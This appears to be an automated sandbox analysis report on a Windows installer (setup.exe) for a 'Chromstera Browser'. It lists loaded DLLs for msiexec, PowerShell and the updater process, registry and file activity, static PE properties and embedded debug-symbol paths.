Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: lpk.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Installer\MSI4739.tmp	Section loaded: msi.dll
Source: C:\Windows\Installer\MSI4739.tmp	Section loaded: windows.storage.dll

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File written: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.ini

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Creates a software uninstall entry

Source: C:\Windows\System32\msiexec.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Chromstera Browser 1.0.0.0

Jump to behavior

PE / OLE file has a valid certificate

Source: setup.exe

Static PE information: certificate valid

PE file has a big code size

Source: setup.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Submission file is bigger than most known malware samples

Source: setup.exe

Static file information: File size 9454152 > 1048576

PE file has a big raw section

Source: setup.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x26ae00

PE file contains a mix of data directories often seen in goodware

Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: setup.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: wininet.pdb source: setup.exe, 00000000.00000003.1719958497.0000000005251000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000003.1746421738.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, shi3105.tmp.0.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbR source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\PowerShellScriptLauncher.pdbg source: setup.exe, MSIEC26.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbD source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: n.pdb" source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 31bf3856ad364e35corlib.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E2D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\stubs\x86\Updater.pdb source: ChromsteraUpdater.exe, 00000008.00000000.1793999764.00000000001A8000.00000002.00000001.01000000.0000000C.sdmp, ChromsteraUpdater.exe, 00000008.00000002.1810635597.00000000001A8000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbR source: powershell.exe, 00000006.00000002.1833673011.000002526E2D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x64\viewer.pdbC source: setup.exe, MSI4739.tmp.1.dr, MSIFB77.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdbfi source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb34e089 source: powershell.exe, 00000006.00000002.1831930535.000002526E104000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb source: setup.exe, Chromnius-Main.msi.0.dr
Source:	Binary string: on.pdb source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb34e089q8 source: powershell.exe, 00000006.00000002.1831930535.000002526E104000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1829332042.000002526C18F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbm source: setup.exe, MSI3250.tmp.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: \Sre.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Utility.pdbpdbity.pdb89+&\| source: powershell.exe, 00000006.00000002.1831930535.000002526E104000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\stubs\x86\ExternalUi.pdb source: setup.exe
Source:	Binary string: System.Management.Automation.pdblb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\aischeduler2.pdb source: setup.exe, MSICC66.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\PowerShellScriptLauncher.pdb source: setup.exe, MSIEC26.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdblat* source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb[ source: powershell.exe, 00000006.00000002.1831930535.000002526E129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbd50a source: powershell.exe, 00000006.00000002.1831930535.000002526E129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E313000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\tempFiles.pdb) source: setup.exe, MSI35A6.tmp.0.dr, tempFiles.dll.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: \??\C:\Windows\dll\System.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x64\viewer.pdb source: setup.exe, MSI4739.tmp.1.dr, MSIFB77.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb'iM source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbtionmw source: powershell.exe, 00000006.00000002.1831930535.000002526E129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000006.00000002.1829332042.000002526C18F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wininet.pdbUGP source: setup.exe, 00000000.00000003.1719958497.0000000005251000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000003.1746421738.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, shi3105.tmp.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: setup.exe, MSI3250.tmp.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\lzmaextractor.pdb source: setup.exe, lzmaextractor.dll.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: setup.exe, MSI3193.tmp.0.dr, MSICBB9.tmp.1.dr, MSICA7D.tmp.1.dr, MSI331F.tmp.0.dr, MSI35E5.tmp.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr
